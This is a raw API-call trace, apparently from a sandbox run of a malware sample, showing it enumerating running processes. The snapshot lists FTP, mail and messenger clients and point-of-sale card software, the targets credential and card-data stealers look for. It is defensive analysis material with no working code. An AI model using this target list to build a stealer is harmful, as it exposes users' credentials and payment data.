	[0066.954] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.955] lstrlenW (lpString="svchost.exe") returned 11
	[0066.955] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.956] lstrlenW (lpString="svchost.exe") returned 11
	[0066.956] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.956] lstrlenW (lpString="svchost.exe") returned 11
	[0066.956] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0066.957] lstrlenW (lpString="spoolsv.exe") returned 11
	[0066.957] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.958] lstrlenW (lpString="svchost.exe") returned 11
	[0066.958] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0066.959] lstrlenW (lpString="audiodg.exe") returned 11
	[0066.959] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0066.959] lstrlenW (lpString="sihost.exe") returned 10
	[0066.959] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0066.960] lstrlenW (lpString="svchost.exe") returned 11
	[0066.960] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.961] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.961] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0066.961] lstrlenW (lpString="explorer.exe") returned 12
	[0066.961] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0066.962] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0066.962] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0066.963] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0066.963] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0066.969] lstrlenW (lpString="Memory Compression") returned 18
	[0066.969] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0066.969] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0066.969] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0066.970] lstrlenW (lpString="SearchUI.exe") returned 12
	[0066.970] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0066.970] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0066.970] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0066.971] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0066.971] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0066.971] lstrlenW (lpString="fur-hold.exe") returned 12
	[0066.971] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0066.972] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0066.972] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0066.973] lstrlenW (lpString="vat.exe") returned 7
	[0066.973] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0066.973] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0066.973] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0066.974] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0066.974] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0066.975] lstrlenW (lpString="paxiltried.exe") returned 14
	[0066.975] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0066.975] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0066.975] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0066.976] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0066.976] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0066.977] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0066.977] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0066.977] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0066.977] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0066.978] lstrlenW (lpString="ride_australian.exe") returned 19
	[0066.978] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0066.978] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0066.978] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0066.979] lstrlenW (lpString="rc remember.exe") returned 15
	[0066.979] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0066.979] lstrlenW (lpString="records replace.exe") returned 19
	[0066.979] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0066.980] lstrlenW (lpString="isp physiology.exe") returned 18
	[0066.980] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0066.980] lstrlenW (lpString="feb.exe") returned 7
	[0066.980] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0066.981] lstrlenW (lpString="citizenship.exe") returned 15
	[0066.981] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0066.981] lstrlenW (lpString="wifi.exe") returned 8
	[0066.981] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0066.982] lstrlenW (lpString="3dftp.exe") returned 9
	[0066.982] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0066.982] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0066.982] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0066.983] lstrlenW (lpString="alftp.exe") returned 9
	[0066.983] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0066.984] lstrlenW (lpString="barca.exe") returned 9
	[0066.984] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0066.985] lstrlenW (lpString="bitkinex.exe") returned 12
	[0066.985] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0066.986] lstrlenW (lpString="coreftp.exe") returned 11
	[0066.986] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0066.987] lstrlenW (lpString="far.exe") returned 7
	[0066.987] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0066.995] lstrlenW (lpString="filezilla.exe") returned 13
	[0066.995] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0066.997] lstrlenW (lpString="flashfxp.exe") returned 12
	[0066.997] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0066.998] lstrlenW (lpString="fling.exe") returned 9
	[0066.998] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0066.999] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0066.999] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0067.000] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0067.000] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0067.001] lstrlenW (lpString="icq.exe") returned 7
	[0067.001] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0067.002] lstrlenW (lpString="leechftp.exe") returned 12
	[0067.002] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0067.003] lstrlenW (lpString="ncftp.exe") returned 9
	[0067.003] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0067.004] lstrlenW (lpString="notepad.exe") returned 11
	[0067.004] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0067.005] lstrlenW (lpString="operamail.exe") returned 13
	[0067.005] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0067.005] lstrlenW (lpString="pidgin.exe") returned 10
	[0067.006] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0067.006] lstrlenW (lpString="scriptftp.exe") returned 13
	[0067.006] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0067.009] lstrlenW (lpString="skype.exe") returned 9
	[0067.009] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0067.010] lstrlenW (lpString="smartftp.exe") returned 12
	[0067.010] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0067.011] lstrlenW (lpString="thunderbird.exe") returned 15
	[0067.011] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0067.035] lstrlenW (lpString="totalcmd.exe") returned 12
	[0067.035] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0067.036] lstrlenW (lpString="trillian.exe") returned 12
	[0067.036] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0067.037] lstrlenW (lpString="webdrive.exe") returned 12
	[0067.037] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0067.038] lstrlenW (lpString="whatsapp.exe") returned 12
	[0067.038] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0067.039] lstrlenW (lpString="winscp.exe") returned 10
	[0067.039] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0067.040] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0067.040] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0067.041] lstrlenW (lpString="active-charge.exe") returned 17
	[0067.041] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0067.041] lstrlenW (lpString="accupos.exe") returned 11
	[0067.041] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0067.042] lstrlenW (lpString="afr38.exe") returned 9
	[0067.042] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0067.043] lstrlenW (lpString="aldelo.exe") returned 10
	[0067.043] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0067.044] lstrlenW (lpString="ccv_server.exe") returned 14
	[0067.044] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0067.045] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0067.045] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
